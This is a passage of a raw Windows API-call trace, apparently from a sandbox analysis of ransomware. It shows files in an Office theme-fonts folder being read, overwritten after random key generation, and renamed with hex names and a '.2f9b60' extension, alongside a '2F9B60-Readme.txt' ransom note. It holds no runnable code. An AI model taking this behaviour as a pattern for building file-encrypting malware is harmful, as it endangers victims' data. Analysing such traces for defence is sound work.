[0160.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20451ef0) returned 1 [0160.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503710) returned 1 [0160.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ee0) returned 1 [0160.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a21e0 [0160.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97ee0 [0160.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503710 [0160.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2210 [0160.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2210) returned 1 [0160.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a2210 [0160.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2240 [0160.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2270 [0160.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2270) returned 1 [0160.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503710) returned 1 [0160.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ee0) returned 1 [0160.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x42055b50 [0160.831] SetFilePointerEx (in: hFile=0x17fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.831] WriteFile (in: hFile=0x17fc, lpBuffer=0x42055b50*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3f9df670, lpOverlapped=0x0 | out: lpBuffer=0x42055b50*, lpNumberOfBytesWritten=0x3f9df670*=0x102, lpOverlapped=0x0) returned 1 [0165.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f640 [0165.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f640) returned 1 [0165.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0165.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f640 [0165.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0165.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0165.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1b85f850 [0165.540] sprintf (in: _Dest=0x1b85f850, _Format="%c%c" | out: _Dest="d7") returned 2 [0165.540] sprintf (in: _Dest=0x1b85f852, _Format="%c%c" | out: _Dest="68") returned 2 [0165.540] sprintf (in: _Dest=0x1b85f854, _Format="%c%c" | out: _Dest="94") returned 2 [0165.540] sprintf (in: _Dest=0x1b85f856, _Format="%c%c" | out: _Dest="fd") returned 2 [0165.540] sprintf (in: _Dest=0x1b85f858, _Format="%c%c" | out: _Dest="a7") returned 2 [0165.540] sprintf (in: _Dest=0x1b85f85a, _Format="%c%c" | out: _Dest="32") returned 2 [0165.540] sprintf (in: _Dest=0x1b85f85c, _Format="%c%c" | out: _Dest="b6") returned 2 [0165.540] sprintf (in: _Dest=0x1b85f85e, _Format="%c%c" | out: _Dest="bc") returned 2 [0165.540] sprintf (in: _Dest=0x1b85f860, _Format="%c%c" | out: _Dest="64") returned 2 [0165.541] sprintf (in: _Dest=0x1b85f862, _Format="%c%c" | out: _Dest="3c") returned 2 [0165.541] sprintf (in: _Dest=0x1b85f864, _Format="%c%c" | out: _Dest="7d") returned 2 [0165.541] sprintf (in: _Dest=0x1b85f866, _Format="%c%c" | out: _Dest="1c") returned 2 [0165.541] sprintf (in: _Dest=0x1b85f868, _Format="%c%c" | out: _Dest="c5") returned 2 [0165.541] sprintf (in: _Dest=0x1b85f86a, _Format="%c%c" | out: _Dest="e3") returned 2 [0165.541] sprintf (in: _Dest=0x1b85f86c, _Format="%c%c" | out: _Dest="02") returned 2 [0165.541] sprintf (in: _Dest=0x1b85f86e, _Format="%c%c" | out: _Dest="1d") returned 2 [0165.541] RtlInitAnsiString (in: DestinationString=0x3f9df6e8, SourceString="d76894fda732b6bc643c7d1cc5e3021d" | out: DestinationString="d76894fda732b6bc643c7d1cc5e3021d") [0165.541] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f9df6b8, SourceString="d76894fda732b6bc643c7d1cc5e3021d", AllocateDestinationString=1 | out: DestinationString="d76894fda732b6bc643c7d1cc5e3021d") returned 0x0 [0165.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059830 [0165.541] RtlFreeAnsiString (AnsiString="d") [0165.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0165.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f640) returned 1 [0165.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42055b50) returned 1 [0165.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2210) returned 1 [0165.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2240) returned 1 [0165.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a21e0) returned 1 [0165.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a21b0) returned 1 [0165.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860240) returned 1 [0165.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860510) returned 1 [0165.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8605a0) returned 1 [0165.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050cbe0 [0165.544] wcscat (in: _Dest=0x2050cbe0, _Source="d76894fd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d76894fd") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d76894fd" [0165.544] wcscat (in: _Dest=0x2050cbe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d76894fd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d76894fd.2f9b60" [0165.544] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d76894fd.2f9b60", NtPathName=0x3f9df690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\d76894fd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118610 [0165.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0165.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c347f0) returned 1 [0165.548] NtQueryInformationFile (in: FileHandle=0x17fc, IoStatusBlock=0x3f9df6f8, FileInformation=0x3f9df708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f9df6f8, FileInformation=0x3f9df708) returned 0x0 [0165.548] NtSetInformationFile (FileHandle=0x17fc, IoStatusBlock=0x3f9df6f8, FileInformation=0x3f9df708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0165.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.550] FlushFileBuffers (hFile=0x17fc) returned 1 [0166.280] CloseHandle (hObject=0x17fc) returned 1 [0203.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d210 [0203.225] wcscpy (in: _Dest=0x2050d210, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0203.225] wcscat (in: _Dest=0x2050d210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0203.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0203.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0203.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bcd0) returned 1 Thread: id = 1422 os_tid = 0x188c [0119.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml")) returned 0x20 [0119.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml", dwFileAttributes=0x20) returned 1 [0119.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17f4 [0119.593] GetFileSizeEx (in: hFile=0x17f4, lpFileSize=0x3fa6fb80 | out: lpFileSize=0x3fa6fb80*=3796) returned 1 [0119.593] SetFilePointerEx (in: hFile=0x17f4, liDistanceToMove=0xed0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.593] ReadFile (in: hFile=0x17f4, lpBuffer=0x3fa6fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3fa6fb48, lpOverlapped=0x0 | out: lpBuffer=0x3fa6fb00*, lpNumberOfBytesRead=0x3fa6fb48*=0x4, lpOverlapped=0x0) returned 1 [0119.798] SetFilePointerEx (in: hFile=0x17f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860180 [0119.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0119.798] NtQuerySystemTime (in: CurrentTime=0x3fa6fa40 | out: CurrentTime=0x3fa6fa40*=132462177252130000) returned 0x0 [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x7e7079fc [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x679cc6ca [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x69b54f45 [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x5dd96024 [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x2b78f940 [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x3bd2609c [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x6d09275b [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x1fa67c2b [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0xeb52ab8 [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x772c47d7 [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x717e793d [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x6d2554ac [0119.798] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x19e68993 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x523079e8 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x51b796a [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x7742fed1 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x523079e8 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x70ca85ad [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x1b6e450 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x38976d68 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x40d8625c [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x2411764f [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x5590e4dc [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x2619c053 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x79a09fea [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x5f8c3499 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x6bc3b6b9 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x464b44b9 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x2b78f940 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x471db279 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x5ff3fa85 [0119.799] RtlRandomEx (in: Seed=0x3fa6fa30 | out: Seed=0x3fa6fa30) returned 0x7cca4da0 [0119.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0119.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0119.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0119.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0119.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0119.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e90 [0119.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0119.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f80d80 [0119.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f75950 [0119.809] ReadFile (in: hFile=0x17f4, lpBuffer=0x41f80d80, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x3fa6fa30, lpOverlapped=0x0 | out: lpBuffer=0x41f80d80*, lpNumberOfBytesRead=0x3fa6fa30*=0xed4, lpOverlapped=0x0) returned 1 [0119.809] SetFilePointerEx (in: hFile=0x17f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.809] WriteFile (in: hFile=0x17f4, lpBuffer=0x41f75950*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x3fa6fa34, lpOverlapped=0x0 | out: lpBuffer=0x41f75950*, lpNumberOfBytesWritten=0x3fa6fa34*=0xed4, lpOverlapped=0x0) returned 1 [0160.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2270 [0160.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a22a0 [0160.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a22a0) returned 1 [0160.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f75950) returned 1 [0160.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f80d80) returned 1 [0160.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0160.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e90) returned 1 [0160.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a22a0 [0160.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e90 [0160.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0160.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a22d0 [0160.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a22d0) returned 1 [0160.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a22d0 [0160.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2300 [0160.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2330 [0160.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2330) returned 1 [0160.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0160.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e90) returned 1 [0160.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42055c60 [0160.836] SetFilePointerEx (in: hFile=0x17f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.837] WriteFile (in: hFile=0x17f4, lpBuffer=0x42055c60*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3fa6fb50, lpOverlapped=0x0 | out: lpBuffer=0x42055c60*, lpNumberOfBytesWritten=0x3fa6fb50*=0x108, lpOverlapped=0x0) returned 1 [0165.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605a0 [0165.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8605a0) returned 1 [0165.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0165.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605a0 [0165.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860510 [0165.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860510) returned 1 [0165.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fc70 [0165.555] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="7c") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="90") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="18") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="b6") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="c8") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="82") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="b6") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="dc") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="23") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="3c") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="4f") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="1d") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="dc") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="7b") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="39") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="92") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="47") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="c4") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="bf") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="91") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="f2") returned 2 [0165.555] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="d4") returned 2 [0165.555] RtlInitAnsiString (in: DestinationString=0x3fa6fbc8, SourceString="7c9018b6c882b6dc233c4f1ddc7b399247c4bf91f2d4" | out: DestinationString="7c9018b6c882b6dc233c4f1ddc7b399247c4bf91f2d4") [0165.555] RtlAnsiStringToUnicodeString (in: DestinationString=0x3fa6fb98, SourceString="7c9018b6c882b6dc233c4f1ddc7b399247c4bf91f2d4", AllocateDestinationString=1 | out: DestinationString="7c9018b6c882b6dc233c4f1ddc7b399247c4bf91f2d4") returned 0x0 [0165.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce15220 [0165.556] RtlFreeAnsiString (AnsiString="7") [0165.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8605a0) returned 1 [0165.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42055c60) returned 1 [0165.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a22d0) returned 1 [0165.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2300) returned 1 [0165.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a22a0) returned 1 [0165.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2270) returned 1 [0165.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860180) returned 1 [0165.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f700) returned 1 [0165.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffd0) returned 1 [0165.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cbe0 [0165.559] wcscat (in: _Dest=0x2050cbe0, _Source="7c9018b6c88" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c9018b6c88") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c9018b6c88" [0165.559] wcscat (in: _Dest=0x2050cbe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c9018b6c88.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c9018b6c88.2f9b60" [0165.559] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c9018b6c88.2f9b60", NtPathName=0x3fa6fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c9018b6c88.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118610 [0165.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0165.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c347f0) returned 1 [0165.562] NtQueryInformationFile (in: FileHandle=0x17f4, IoStatusBlock=0x3fa6fbd8, FileInformation=0x3fa6fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3fa6fbd8, FileInformation=0x3fa6fbe8) returned 0x0 [0165.562] NtSetInformationFile (FileHandle=0x17f4, IoStatusBlock=0x3fa6fbd8, FileInformation=0x3fa6fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0165.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15220) returned 1 [0165.565] FlushFileBuffers (hFile=0x17f4) returned 1 [0166.281] CloseHandle (hObject=0x17f4) returned 1 [0203.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d210 [0203.233] wcscpy (in: _Dest=0x2050d210, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0203.233] wcscat (in: _Dest=0x2050d210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0203.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0203.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0203.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 